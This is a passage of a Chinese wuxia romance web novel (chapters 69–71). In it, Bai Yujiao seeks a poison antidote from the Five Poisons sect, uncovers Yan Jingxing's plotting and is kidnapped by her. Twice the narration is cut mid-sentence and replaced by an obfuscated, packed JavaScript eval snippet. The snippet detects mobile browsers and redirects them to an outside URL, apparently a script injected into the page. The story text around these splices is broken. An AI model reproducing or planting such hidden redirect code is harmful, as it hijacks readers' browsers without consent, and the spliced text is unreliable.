这下,我连眼角都开始要抽筋了。 我觉得,何知易已经完全丧失了善意进行的语言表达的能力,他这辈子注定只能一直这么毒舌得活下去了! 心灵遭受沉重打击的本人默默扭头钻回车厢,“我去扑毡布,你们生火架锅做饭吧…….” 何知易与穆忘尘面面相觑,互相用责怪的眼神盯着对方。 我抱着毡布钻下车厢的时候,沈墨白恰好拴好了马走过来。 他从我手里把大毡子接过去,也不说话,只是眼巴巴得看着我。 昨晚他醉后说的那番话在我脑袋里透盘旋了一夜,我越是想要忘掉,却越是一遍遍洗脑似的回响。故而,我今日与他一句话也没说,我怕我一张口,就会暴露出自己的尴尬。 被他用那样湿漉漉的眼神看了半天,我尴尬得咳嗽了一声,“干嘛?这位少侠你有事吗?” 沈墨白眨眨眼睛,目光投向仍在车辕边上的那一堆苇草。 刚才一路我只来得及编了两只,如今我已经丧失编第三只的信心了。于是我看天装傻,“我可不记得我们有熟到我会送你东西唷。” 沈墨白闻言,既没有像从前那样嬉皮笑脸得贴上来,也没有生气扭头走掉,只是好脾气得笑了笑,“嗯……总有一天会熟起来的。” 说完,他转身抱着毛毡走了。 我看着他的背影,突然终于后知后觉意识到,沈墨白虽然平日里依旧是嬉笑怒骂没个正形,他对待我的态度却是与往日我是小白时不同了,他也与往日里不同了。 何知易忽然从背后拽了拽我的袖子,他看了一眼沈墨白的背影,然后望着我道,“你若是看他不顺眼,我便赶走他。” 我忽然心中微动。 我不知道为什么自己会动容,这一刻,我发现其实我也不甚了解我自己。 “反正他用起来也挺方便挺顺手,就让他跟着吧。”我沉默了一会儿才开口道,弯起眼睛露出个微笑。 后来,我凭借超越人类的听力,听到何知易在生火的时候碎碎念:“她为什么总对沈墨白冷嘲热讽?” 抱着柴火回来的穆忘尘把木头仍在脚边,望着那团跃动的火焰也自言自语般来了一句,“这才说明她待他不一般。” 何知易挑眉,“你也有受虐的癖好?” 穆忘尘也挑眉,“‘也’是什么意思?” 何知易看着他摇了摇头,然后便扭头走了,没有回答。 我躺在毡布上面卷缩起身体。 我想起多年前,顾染织说自己羡慕十四时,我也对顾染织说过类似的话——你莫不是有受虐的癖好。 我突然觉得有一丝恐惧。 许久之前,当我十六岁初入江湖时,江湖中便有人说我乃是妖星降世。我这么多年来飞扬跋扈,权势盛极一时,一直只当那是江湖中那帮庸碌弱者所说的自我安慰的无稽之谈。现在想想,跟我搭上边的人,还真是没有一个有好下场。 我的爹娘,我的师傅,我的属下,朋友,徒弟…… 我突然撑起身体坐起来,望着不远处那三个人的背影,心底一阵阵发寒。 忽然,沈墨白回过头来,对我喊道,“新鲜出炉烤兔腿!快来!” 穆忘尘也对着我挥了挥手,嘴角的笑容在火光之后,耀眼得几乎炫目。 我垂下眼帘,重重深呼吸了一口。 随后从毡布上一骨碌爬起来,大咧咧走过去,“加椒盐了没有?哎,我说这是谁烤的啊!离得老远我都问道焦味了!” 69. 大龄未婚女青年的对话 数江湖三大魔教,中原我大镜花宫独领风骚,漠北有拜月教独霸一方,而这南疆就数五毒教独占鳌头。 其实,武林中人,宁愿惹上镜花宫都但求不要招惹五毒教。因为,镜花宫在我的英明领导下纪律严明作风果断,只会让人求生不得;而那五毒教教众却是一帮子不讲仁义道德的少数民族,最有本事让人求死不能。 眼前是一座颇为恢弘的山寨,山寨大门紧闭,箭楼上有一个看守模样,包着大头巾的小哥。小哥发现我们浩浩荡荡一行,隔着老远就中气十足对着我们遥遥喊话:“喂!!@#%……&¥@……” 穆忘尘从马上跳下来,他白色的衣袂在空中划出一道翩然优雅的弧线,足尖落地,不见一丝灰尘扬起。 不得不说,小十四下马的动作中都是浓浓的高端大气上档次范儿。 穆忘尘操持着颇为客气的语气扬声道,“我们从中原来,我乃是中原武林盟副盟主穆忘尘。数日前已以飞鸽传书送来拜帖,求见贵教教主花袭衣。” 头巾小哥歪头看了我们一会儿,视线在外扭七八靠在车辕上的我脸上停留半晌,他再次放声大吼,“!@¥#@%……” 穆忘尘略微蹙眉,“我们有要事求见,麻烦通传。” 小哥沉默了一会儿,又叽里呱啦吼了一通。 两人你一句我一句对话颇久。 南疆天气潮热,我一边扯着衣领一边扇着手里的扇子驱赶蚊虫,“我说穆少爷,你还懂得南疆的方言?” 这穆忘尘呆在我身边数年,都是讲得一口地道的中原普通话,怎么当了两年副盟主,不仅武功和泡妞技术突飞猛进,连各地方言都学起来了? 穆忘尘回头看了我一眼,然后尴尬而腼腆地笑了一下,“呃……其实不怎么懂的……” 这次,不止是我,沈墨白和何知易都同时扭过头去,丢给他一个特别鄙视的眼神。 于是,下一秒,何知易倏然从马背上腾起。他墨色的身影在空中化为一道虚影,转眼间人已经立在山寨高达数米的竹篱尖儿上。只见他手中银光乍现,晃得人睁不开眼,只听到两声清脆的金属交击之声,他手里的细剑刷刷两下斩断挂住吊桥的锁链。紧接着便是轰然一声巨响,通入山寨的吊桥重重摔落在地上,扬起一层弥天的灰尘。 我突然觉得腰间一紧,整个人已经被一只手捞进怀里。天旋地转之间,人已经带着在空中几个起落。 我抬了抬头,果然看到沈墨白的下巴。 比起眼疾手快,十四果然还是抢不过这人渣渣。 躺在沈墨白怀里,我眯起眼睛欣赏何知易与穆忘尘在空中各种华丽的轻功动作,差一点没看的鼓起掌来。 我拍拍沈墨白的胳膊,示意他把我放下来。 我们一行四人站在寨子中央,很快便被黑压压一群穿着苗族服饰的五毒教教众围了个水泄不通。 谁先动手的我没注意,只是一转眼的功夫,四周杀声四起,很快众人就斗成一团。 这三位爷皆是武功盖世以一敌百的高手,只是这三位颇为没有默契。经常是沈墨白试图帮我挡住前方飞来的流矢,结果被旁边正在替我抗大刀的穆忘尘绊着后脚跟结果一个踉跄;要么是何知易一掌下去,打飞了敌人的同时,也把沈墨白和穆忘尘震了个虎口发麻。 结果,这三人束手束脚,在大门口和这帮子乌合之众折腾半天,愣是没能占据上风。 最后我忍无可忍,撩起衣摆,一脚踢开面前扑上来的大汉,大手一挥,“你们几个听我指挥!” 我先指挥小何徒弟这个大规模杀伤性武器打前锋,“徒儿,你前方开道,我这边的事不用管。” 何知易看了我一眼,终于悻悻撒开一直抓在我手腕上的手指,乖乖去当开道的大风车,左一掌又一掌,掌风卷的五毒教众人向四面八方做自由落体运动。 “穆忘尘,你殿后。” 十四看了我一眼,又看了沈墨白一眼。他大概也知道沈墨白这不靠谱的个性去殿后根本靠不住,只好轻叹一声,扭脸去收拾背后的漏网之鱼。 沈墨白和我对视了一眼,心照不宣。然后,他露出一个特别娇羞特别欠揍的笑容来。 沈渣渣的主要功能就是担任我的代步工具。 他一只手托起我,让我坐在他的臂弯里。我俯在他的肩头,忽然听到他低低哑哑的声音在耳边响起来,“你轻了好多。” 我掐了掐自己腰板儿上的肉,结果硌得手疼,哼了一声,“我本来也不重。” 如此一来,我们一行效率果然大大提升。迅速向着五毒教内殿推进。 当我们攻入一个地下大殿的时候,我突然感觉到一阵不妙。 所有的五毒教弟子都停在了大殿门口,没有一个人下来追我们。 不用我提醒,另外那三只自然察觉到了怪异之处。然而,变数突发的一瞬间,我们四人竟然都没能来得及反应。 地下的青水墨石地板突然翻起,从地板下面骤然窜出无数绳索一般的活物,猛然卷住我们几人的脚腕。只在一刹那,我看到何知易第一个被拽下去,他脸上诧异的神色还没消失,整个人就消失在了青石板下面。紧接着是穆忘尘,最后是我和沈墨白。 这一切不过发生在短短的一眨眼间。 我感到阴冷的风扑面而来——要摔下去了! 我发出一声短促的尖叫,在空中试图找到可以借力的点,可惜什么也没抓到。 沈墨在在几乎落地的一瞬间,用四肢撑住了地穴的四壁。 然后,我“噗”得一声摔在了他的身上。 紧接着,我听到一阵令人毛骨悚然的短促而尖锐的摩擦声,沈墨白在电光火石一刹那将剑扎入石缝。 只是四壁太过湿滑,即便如此,他的身体仍旧向下滑动了几米。 在黑暗之中,我听到了尖锐利器穿透血肉的声音。那声音很是缓慢,听得让人觉得头皮发麻。 鼻尖瞬间充斥着新鲜的血腥味,我感觉到身下的人肌肉猛然收紧。 我的心脏猛地缩紧了一下,下意识抬手摸了一下沈墨白的胸口,似乎有温热的湿意。我立刻意识到,这个陷阱的底部,八成是充满了锥刺。 沈墨白轻轻咳了一声,“能动吗?” “能。” “你看到上面五六米的岩壁侧面有一个洞口没有?” 我仰起脖子,果真看到了个洞口,似乎是个通道,通向什么地方。 “上去。” 我趴在沈墨白的胸口,有点不敢动。以我现在这副身体,实在没有把握能够毫不借力就提气使上轻功。若是我借力向上跃起,万一不慎用大了力气,沈墨白胸口扎的那根锥刺岂不是要把他扎个透心凉…… 也不知是否伤到了脏腑…… 沈墨白压抑地咳嗽了一声,“快上去,我可不想一直保持待宰的青蛙姿势。” 我知道耽误越久越坏事。 我运气于丹田,强行运起本来护住心脉的那口真气,猛地向上掠起。腹中猛地燃起一阵火烧火燎似得钝痛,我的身形在空中略微凝滞了一瞬间,还好千钧一发之际,手指刚好够到了那个洞口的边缘,我手腕用力,向上一翻,终于是落在洞口中。 整个陷阱深大概有十米,洞底黑洞洞的,竟然是什么也看不清。 洞底一片令人感到森然的寂静。 我看着洞底,“沈墨白,快上来!” “他恐怕是上不来了。”突然,背后响起一个女子的声音。 我猛地扭头,看到背后不知何时站了一个女子。 那女人顶着一顶银角银头冠,一席藏红苗人盛装,身上缀着繁复的配饰,腰上术着黄金腰带,上面挂着一排金银木石小盒子。 她看着我,嫣红的嘴角挂着一抹妖异的笑。 我看到她的一刹那,反倒是松了口气。 “哟,花袭衣,花教主。多年不见,别来无恙?” 此人,就是我们此行所寻之人——五毒教教主,花袭衣。 花袭衣闻言冷笑了一声,“白玉娇,你跟我套的哪门子近乎。” ·· 我舒了一口气,倒不是因为我和花袭衣之间有什么不可告人的暧昧关系,而是因为沈墨白他母上——曲冬榕,和这位花袭衣教主乃是年少时的闺中密友。 花袭衣这人别的不说,却是极重情义之人,断不会看着曲冬榕的宝贝独子丧命。 我笑眯眯地指了指陷阱底下,“花教主,刚才你们家大侄子沈墨白掉下去了,似乎被什么东西戳到肚子里了,不知伤了哪里。你可千万别让他死了,不然让曲冬榕白发人送黑发人可就造孽了。” 花袭衣皱了皱眉头,“我已经叫巫医去救了。” “哦……”我眨了眨眼睛,笑得更加殷勤,“还有刚才掉进陷阱的那两位才俊,一个是武林盟的副盟主,一个是镜花宫的教主。他们俩都是年轻气盛……那个,您老人家多多担待,别把人弄死弄伤了,不然和中原武林或是镜花宫结仇,岂不都很麻烦。” 花袭衣挑着眉梢看了我一会儿,忽然笑了,“白玉娇,你可真是个怪人。你自己命不久矣,短短剩下不到几个时辰便要毒发身亡,怎么净念叨着其他人的性命。” 她这一说,我果然感到一阵手软脚软头晕目眩,于是干脆一屁股在地上坐下。 “既然如此,还请教主能给我‘七日寒蝉’的解药。”我伸出一只手来,语气很是泼皮无赖。 花袭衣轻轻哼了一声,“即便我给你解了蛊毒,你也活不了多久。你自己也懂的吧?你刹那芳华散功之后返老还童,分明是走火入魔的先兆。你这身体,多则三年,少则三月……我看你恐怕是这个冬天也撑不过……” 她话还没说完我就笑了。我不禁笑着抚掌,“花教主啊花教主,多年不见,您老不仅容色不衰,怎么还锻炼出望闻问切的绝世医术来了?” 花袭衣垂眸看着我,没有回答。 我继续笑,“谁告诉你的啊?哪位‘高人’,竟然对我白某的私事如此了若指掌?” 我翘着嘴角看着花袭衣,见她不回答便继续道,“让我猜猜,恐怕这‘七日寒蝉’也是那位‘高人’给我下的吧……其实,你不说,我心里也有数了。” 我这一路上,都在思考着到底是谁害我。 当日在峨眉教,姓张的老头畏罪自杀而非远走高飞,可见下毒之人心狠手辣,并且极有可能就是我所熟悉之人。峨眉里我熟知之人,统共就是那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349905|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个人,杜青娥,秦黛黛,还有一个颜静行。 想到此处时,我便已经心下一片清明,几乎在一刹那,便把之前无数扑朔迷离之谜团联系起来一想,得到了答案。 我此生被人设计陷害落得凄惨下场,总共就那么两次。 一次是在金陵,莫名从小白变成白玉娇,结果潜逃途中又碰上武林盟与玉宇琼楼的截杀。那一次,颜静行喂了我一碗姜汤。 第二次就是在峨眉,颜静行,颜大小姐又喂了我一碗驱寒药,我就中了七日寒蝉。 颜静行的母亲颜行香年少时与沈墨白的母亲曲冬榕和五毒教教主花袭衣乃是闺中密友,颜静行能学得花袭衣的一招半式,能拿得到花袭衣的独门奇毒“七日寒蝉”倒也不奇怪。 至于动机,谁都不会比颜静行更有动机了——谁叫我抢了她们家沈墨白呢。 我抬头看着花袭衣,冷笑了一声,“是你那个好侄女颜静行吧?” 花袭衣沉默着看了我一会儿,末了,却突然摇着头叹了口气。她头上的银饰在寂静中发出细碎碰撞的声音。 “白玉娇,其实这么多年我一直敬你为人,我也不愿害你的。” 我闻言倒是愣了一下。 我白玉娇闯荡江湖三十年,倒是第一次听说有人竟然觉得我人品好。这个花袭衣,果然是品味不一般。 她突然也学着我的样子,双腿一盘就坐下了,“静儿这孩子,她阿妈去得早,自小是在跟在我身边在五毒教里长大的。也怪我没教好她。”说到这里,花袭衣撑着下巴笑了一下。 “白玉娇,我问你,除了冷将息那个老混蛋,你此生可还曾爱上过谁?” 我被她问得一愣,下意识赶紧摇了摇头。 “我告诉你,在我们苗疆,巫蛊中有一种情蛊。此蛊乃是花蛊的一种,以九十九个负心人的血肉培植,三月开花,艳丽至极,此时如以养蛊人的心血相触,即成情蛊。中了情蛊之人,便会爱上下蛊之人。”花袭衣看着我,微微咧了咧嘴角,“当年我以为,有了情蛊,两个人便能一辈子在一起,永远也不分开。所以,我便下给了师兄。从此,师兄就成了我的傀儡。我让他笑,他便笑,让他看着我,他就只能看着我。大概就是那个时候,我教坏了静儿。” 我沉默得看着花袭衣,大概也猜到了这个故事的结局。 “后来有一天,师兄在我面前,用手掏出了自己的心脏,”花袭衣说着,嘴角仍旧是带着笑的,只是她的眼神那么空落,似乎在看着无比遥远的地方,“他说,他不愿再做我的傀儡,即便我在他心上下了蛊,他的心上仍旧是没有我。” 我沉默了一会,拍了拍花袭衣的肩膀,轻轻叹了口气,“哎,大家都年少轻狂过。当年,我师傅对我弃若敝履,我的男宠挑断了我的手筋脚筋,我的师弟千方百计要弄死我,我的暗卫戳过我一剑,我徒儿现在快要成功得把我弄死了……总而言之,半世飘零,都是男人惹的祸……” 要是别人比你还惨,你大概也就不觉得自己惨了。 果然,花袭衣看着我,眼睛里流露出几分同情之色。 两个大龄未婚女青年无言对视,莫名产生一种王八看绿豆,惺惺相惜的感觉…… “白玉娇,你说冷将息那个老王八蛋弃若敝履?” “是啊。” “不是的。”花袭衣抬手拍了拍我的肩膀,“你错了。当年,冷将息那个老王八蛋,爱的不是颜行香,是你。” 我瞬间愣了,“啊?”随后就挥手,“怎么可能?他当年可是招呼都不打一声就跑到玉宇琼楼找他和颜行香的爱情结晶去了。” 花袭衣皱着眉头想了一会儿,有些不解道,“行香去盗秘籍之前,曾经对我说过。他说冷将息一颗心只在你身上,她半分胜算也没有。只能拼死一搏,只求以一命换的他的片刻动容。” 我沉默了一会儿,表示对颜行香的死前遗言很是不解,“我们只是师徒之情。” 花袭衣曲着手指摸着下巴,轻轻叹息,“罢了罢了,都是些陈年往事。只可惜啊……静儿和她娘简直是一个模子里刻出来的死脑筋。这孩子,也是毁在一个‘情’字上……” ··· 然后,我和花袭衣相谈甚欢,两个人又继续边喝酒边扯闲话,从盘点中原武林各大美人,到八卦哪家门主是倒插门的凤凰男…… 何知易,穆忘尘两人灰头土脸从陷阱里出来的时候,就看到我和花袭衣正坐在一地的空酒坛中间划拳。 穆忘尘整个人愣在门口,头上还插着一颗稻草迎风招展。 何知易凝眸怒视,盯着足足有三秒眼睛一眨不眨。 “哟,你们来了!”我打了酒嗝,然后指着何知易对花袭衣说,“你看,这个就是我的宝贝徒弟,模样俊,武功高,医术也好,性子也柔顺……你家有没有合适的女徒弟,给我家徒弟介绍介绍?” 我话还没说完,就见何知易的衣袂蓦然一阵,似乎是真气爆棚。然后他大步流星走进大殿里,只用一只手就把我从地上拎起来,像捉着小鸡仔一样。 舀是师傅我,都被暴走的徒弟给吓得清醒了几分。 何知易他那双黑曜石般的眼睛看着我,一字一句道,“谁,准,你,喝,酒,的。” 70. 完结倒数 何易之上上下下看了我一圈,“蛊毒解了?” 我连忙点头如捣蒜,“嗯嗯,解了解了。” 穆忘尘拉着我的手仔仔细细瞧,“可受伤了?” 我连忙摇头入扇风,“没有没有。” 这两位如释重负。 我们也不打算在这里多呆,当晚何知易和穆忘尘就套马驾车,带着我怎么来的就怎么回去了。 只是走了二里路之后,我才突然想起来,“我怎么突然觉得少了点什么?” 驾车的穆忘尘抬头看天,一脸无辜。 何知易为人比较厚道,全然不在意提醒道,“你把沈墨白忘了。” 我骤然一愣,然后轻轻叹了口气,“噢,我还以为忘了什么重要的事呢……那没事了,我们继续赶路吧……” 说完,我继续缩回车子里作我的春秋大梦。 解了蛊毒,何知易便回了镜花宫。毕竟比起我这个经常翘班一两年的教主来,小何是个负责任的一教之主,手里头还有无数教众等着他的英明领导。 我们走到半路分手。 这一路穆忘尘照顾我的身体状况,走得很慢。走走停停,尽量走大路和城镇。我们一路顺长江而下,走到半途上被沈墨白追了上来。 沈墨白侧腹被戳了个洞,略微伤到了脾脏。花袭衣为人作风强硬,硬是扣着沈墨白不准他伤愈之前乱窜。于是可怜的沈墨白生生被花袭衣按在床上半月才准离开。不过花袭衣家的巫医很是牛逼,沈渣渣同志追上我们时已然活蹦乱跳了。 又是半月之后,我们终于是回到了金陵。 多年没回金陵,我遥遥望着官道尽头那座繁城,城门上“金陵”二字仍旧是程光锃亮,在微蒙的晨光中闪着淡淡的冷光。 城门前人流熙熙攘攘,不知为何,我偏偏生出了点物是人非的伤感来。 我们一到门口的驿站,沈墨白和穆忘尘便被早早等在城门口的武林盟众人给团团围住。众人脸上都是写得满满的控诉和恨铁不成钢,尤其怨恨素来勤政爱民的副盟主也被整天不务正业的盟主给带坏了,竟然学会了翘班。 其中一个道:“穆副盟主,两淮漕帮和烟雨楼最近闹得不愉快,您快去调解调解,我们这边压不住了,都快打起来了。” 另外一个扯着沈墨白,“沈盟主,天下堡堡主五十寿辰请您去主持呢!您赶紧给个回信,人家那边都急了。” “穆副盟主,天机阁新造了个新机匣,找您来申请专利顺便起个威武霸气的名字……” “沈盟主,还有那个八卦居士新列了个江湖十大美人名录,众女侠纷纷不服,您看这事儿怎么办……” 我靠着车辕上听得津津有味,感情沈墨白分管娱乐,穆忘尘把持科教军士政治文化。遥想当年,自己在位那会儿,武林中人可没什么闲情逸致去搞娱乐活动,整日都是人人自危,防火防盗放白玉蛟。如今我一“死”,大家到时过得风生水起,人民生活节节高啊…… 穆忘尘被一干人等团团围住,不得脱身。沈墨白素来赖皮惯了,满口“行行行,回头我处理”就拨开人群跑回我身边蹲着。 “我就不跟你们回去了吧?” 我话音刚落,沈墨白就借着袖子遮掩,握住我的手,“为何?”他声音里满满都是焦躁,看来是生怕被我给跑了。 为何?你说为何?因为你家未婚妻日日给我下绊子,我这么一去搞不好就一命呜呼了。 我随便找了个理由搪塞他,“武林盟人多口杂,我喜欢清静。” 沈墨白皱眉,他大概知道我在想什么,也就没有强求。 “我在金陵有几处宅院,你随便挑一个清静安全的先落脚可好?” 我又摇摇头,“我也不是要常住。只是突然想起了苏小小,想来看看他,看完我就走了。” “苏小小?”沈墨白轻轻笑了一下,“你恐怕不怎么方便见她。” “怎么?” “苏小小年前和一个姓商的属下成亲了,前不久查出了胎象。现在应该是养胎去了吧?你知道苏小小的私宅在哪么?” 我愣了愣。苏小小那常年单身族都成亲了?!还要当孩子妈了?! 我扶着额头晃了晃。 呜呼哀哉,又少了一个跟我结伴的大龄未婚女青年。 沈墨白渣渣眼睛,笑得特别纯良,“苏小小行踪诡秘,恐怕天底下没几个人找的到她。不过我的联络网遍布天下,倒是找得到。我帮你打听好苏小小的私宅,然后告诉你可好?前些日子,不是有人攒了个江湖十大美人名录么?近期便会有个选美大会,你不是最喜欢看这些热闹,不如留下来看看?” 我略略想了想。 我本来是打算看了苏小小就随便找个穷乡僻壤鸟不拉屎的地方藏起来。毕竟所剩时日不多…… 所以我只好先答应了沈墨白的要求。 我选了一处离武林盟并不太远的小宅,二进门的小院落,有一个幽深的天井和一颗郁郁葱葱的大海棠。天井搭着葡萄架,架子下面有一个小花圃,小花圃旁蹲着一只眼神略呆的大狼狗。廊下有一个不长的抄手游廊,廊上挂着几只画眉鸟。 这环境,合适养老,深得我心,一看就喜欢得不得了。 我住了两天,发现这里沈墨白恐怕是下了功夫。 床不大,雕花梨木,三面垂海棠帐,正面垂落几层蝉翼纱帐,特别像一个安全的燕窝。枕头是我最爱的软枕,软枕一共扔了四五个,供我抱个舒坦。 书架上摆满了各种话本小说。我小时候遍览天下话本,后来忙着打架闹事就没怎么再看书,只是偶尔才瞄两眼。现在这架子上摆满各种近年新作,详尽刻画各种深宅大院内勾心斗角你死我活。 我甚至找到一本描写一不知名江湖剑客与峨眉掌门杜青娥之间那些为人不知的爱恨情仇的同人本…… 看到那位剑客为了救杜青娥,而惨死在白玉蛟剑下的时候,我不禁连连摇头叹息,可惜了这对野鸳鸯……全然忘了那个全剧最大的女反派好像就是本座我。 沈墨白每天傍晚都会来。 今天我正坐在葡萄藤下面看话本,大狼狗蹲在我脚边睡觉。 它远远就听见沈墨白的脚步,蹭得一下站起来,尾巴摇得无比欢快。 沈墨白看到我,远远的笑了一下。我从前都不知道他是这样笑的,笑得那么温良,那么小心翼翼。 “你别动,我来摆饭,饿了吧?” “嗯,”我放下手里的书,“今天吃什么?” “你昨天不是说想吃飘香楼的酱肘子?”沈墨白说着,从食盒里端出一盘还热气腾腾的酱肘子,又从隔层里拿出几叠颜色青翠的小菜。 我托着下巴唉声叹气,“哎,满桌的下酒菜,就是缺了酒,你故意的?” 沈墨白拿出一个特别袖珍的小酒壶,“这不是有酒么,我就知道你馋这个。陈记的桂花酒。” 我拍桌,“沈墨白!你居然拿给小丫头片子喝的酒糊弄我!” 沈墨白眉梢一挑,“你可不就是个小丫头片子。” 我看了一眼自己嫩生生的手,无语反驳。 “对了,”沈墨白拿出杯盘筷子,细细擦拭了之后放在我面前,“杜青娥带着峨眉几个弟子来了。” “来干嘛?”我迫不及待端起酒先喝了一小口,然后撕下来一块肘子肉扔给在我脚边不停打滚卖萌的大狼狗。 话说大狼狗难道不是应该是凶悍无比看家护院的画风么?这只每天打滚卖蠢是个什么习性? 沈墨白继续婆婆妈妈给我夹菜,“还记得前日我跟你提过的江湖十大美人名录么?最后他们决定要搭个擂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈墨白的绝望和悲伤太浓烈了。连我在面对他时,都不免被这种悲伤感染。 沈墨白凑上来吻我的时候,本来是想大骂一句“蹬鼻子上脸”然后一掌把他挥开的。 但是他早有预料一般稳稳握住了我的手腕。 唇轻微的触碰。 他略略拉开距离,额头抵着额头,看着我的眼睛。 我最后终于妥协,闭了闭眼睛。 然后就是辗转反侧,绵长的深吻。 那天晚上沈墨白就在这小院里歇下了。 半夜里他像个火炉一样从背后抱着我,十指相扣,牢牢把我束缚在怀里,有一下没一下地亲吻颈背。 “怎么办……我好怕。”背后突然传来低低的一声,受伤野兽一般的呜咽。 我转过身,面对着他。 沈墨白的眼睛在黑暗中仍旧是无比清亮,黑白分明,流淌着水光一般的波光。 我手脚缠住他的手脚,“没事的。死亡对所有人都是一样的,或早或晚而已。” 沈墨白更用力一点把我拥得更紧了一些。 我手指抚摸着他侧腹上那个贯穿了伤痕,“疼吗?” 沈墨白低头吻了吻我的发顶,“你以前倒是从来没心疼过我。今天怎么这么温柔,会吓到我的。” 我笑了笑,“心疼,都是疼在心里的。你个笨蛋。” 沈墨白简直受宠若惊,高兴之余就是恐惧。仿佛就像是最后饯别一般的话语。隐隐让人觉得担惊受怕。 “蛟蛟,我们就这样过一辈子好不好?在只有我们俩的地方,看看书,遛遛狗,养养鸟,种种花。” 我闭上眼睛,没有回答他。 71. 最终女反派 其实我早料到总有幺蛾子要发生。 午后我收到一封陌生人送来的书信。 我打开看了看,意思说,苏小小在我手里,想要她母子活命,就乖乖上车。 我看着送信来的人,有点眼熟,“你是谁?” 那人眼睛里全然是挣扎,“姑娘,对不住了。” 我被他迷晕的一瞬间,我想起来,这人似乎是苏小小她相好。 我睁开眼睛,看到一个女人正背对着我在点蜡烛。 周围阴森潮湿,我四下看了一眼,确定自己身处在的地下酒窖里。我试着动了一下,发现自己被麻绳捆得像个粽子似的严严实实。然后我惊喜得发现,目前自己仍旧五官健在,四肢俱全,实在是已经大大超出我的预计。 难道我还真的最后栽在颜静行手里?阴沟里翻船。这词重重落在我脑海里。 颜静行有没有沟我不知道,但是她的确是够阴的。 我本来以为凤栖梧已经够能装的了,一个反派把正面形象演的深入人心,演的令人心折,演的风流倜傥。我倒是没想到,原来这里还有一个更能装的,心如蛇蝎也能装的人畜无害。就连我,竟然都从未怀疑过她。这女人不去演戏着实太埋没人才了。 “你醒了?”点灯的人回头,果不其然是颜静行。她大概是察觉了我气息的波动,回过头来看我,眼角眉梢带着一抹阴狠而又得意的笑意,“白玉蛟。” 我清醒很快,脑子里第一闪过的是苏小小。 “你把苏小小弄哪儿去了。你要是敢杀人灭口,我拼个鱼死网破也不会放过你。” 颜静行冷笑了一下,“你以为我傻么?苏小小那边的事情自然不用我亲自动手,现在人已经放了。她一个魔教属下,以后她身份揭出去也不会有甚么好日子过。” “你此话当真?” 颜静行俯视着我,居高临下,“我不像你是个杀人不眨眼的魔头,我还想给自己积点阴德呢,犯不着跟一个有孕的人过不去。” “哈,你也不见的是什么好人吧?” 颜静行笑得特别纯良,就如她往日在众人面前一般清纯无辜,“我从头到尾都只是对付你,在武林除害。我为何不是好人?” 我语塞。 “你什么时候知道我是白玉蛟的?” 颜静行看着我,突然“噗嗤”一声笑了。 “哈哈哈,白玉蛟,你难道不知道你的师傅冷将息就是我父亲么?早在我在金陵第一次见到你之前,就知道你的事。我知道你的事儿可多了,你跟穆忘尘之间的那些事,也是冷将息告诉我的。说起来,穆忘尘真当谢谢我,若不是我,他现在仍旧被蒙在鼓里,做一条跟在你屁股后头摇尾巴的狗。”颜静行露出一丝恶毒的笑容,“呵呵,那时候我把‘回魂散’给穆忘尘灌下去之后,他便把你们之间的深仇大恨想了起来,你是不知道他当时的表情……真真是精彩绝伦。” 我冷冷得盯着她。原来,让十四想起一切人,不是沈墨白,是颜静行。 我突然明白过来,为什么从前沈墨白总会露出那样无奈而苦闷的表情,为什么沈墨白非要当武林盟主不可,为什么沈墨白要替颜静行背黑锅。 一切都是因为这个颜静行。 颜静行知道我的身份,她若是向世人挑破“刹那芳华”的秘密,我必定会死无葬身之地。颜静行又是冷将息的女儿,她若是把冷将息还活着的事情当着我的面挑破,事情也会变得一发不可收拾。 这个女人果然恶毒,尖酸,刻薄,心狠手辣。 她很清楚踩到那个点会让我觉得最痛,所以她就毫不犹豫狠狠的踩下去,居高临下开心得等待着观赏我痛苦的表情。 突然,我扬眉一笑,阴阳怪气道,“噢?是么?没想到那个老家伙知道的还真不少,更没想到原来他还是个长舌头。那你又知不知道,当年,我是亲眼看着你那个好爹爹,一剑,把生你的亲生母亲给戳死的,半句废话都没说,一剑穿心。” 只是她会恶毒,我又何尝不会?她能尖酸,为何我不也尖酸刻毒一回? 颜静行果然不笑了。她突然走过来,站在我面前恶狠狠得盯着我。就在我以为她要一巴掌扇过来的时候,她却又笑了,而且,笑得特别扭曲。 “白玉蛟,你还嘴硬?你看看你现在这幅落魄潦倒的样子!你有什么资格在这里耀武扬威?你现在什么也没有了!你就连自己是白玉蛟都不敢承认!不然你就会立马死无葬身之地!要是我告诉让穆忘尘恢复记忆,你说会怎样?你说他会不会冲过来一剑杀了你?哈哈哈……” 我抬眼瞄了她一眼,冷哼了一声,“你以为自己是谁?你有什么资格玩弄别人的人生。” 颜静行更加得意,张狂笑道,“我告诉你,最后赢的人是我!” 我“嘁”了一声,冷笑,“你赢?赢了什么?你想要的东西你得到了么?嗯?你一而再再而三得找我麻烦,是为了什么?嗯?” 是为了沈墨白。 颜静行与我眼神一个交流,顿时心照不宣。 她的脸色骤然变得非常难看,连嘴角的肌肉都在微微颤抖,原本一个漂亮的姑娘,这样看去只觉得面目可憎。 “白玉娇,你个贱妇!我本是看你时日无多,想放你一马!谁知,谁知你竟然昨天竟然还敢勾引墨白哥哥过夜……你,你太不知廉耻了!我今夜就让你死无葬身之地!” “呵,”我笑了,笑的无比讽刺——真没想到,有一天,沈墨白竟会成为我反击别的女人的武器,我也真算是落魄到家了。 “沈墨白他根本连看都不愿意多看你一眼,你知道他上次对我说什么吗?他说他会一直等着我,会一直陪我到死。他宁愿喜欢我这个杀人狂,也不喜欢你这扭曲至极的女人。” 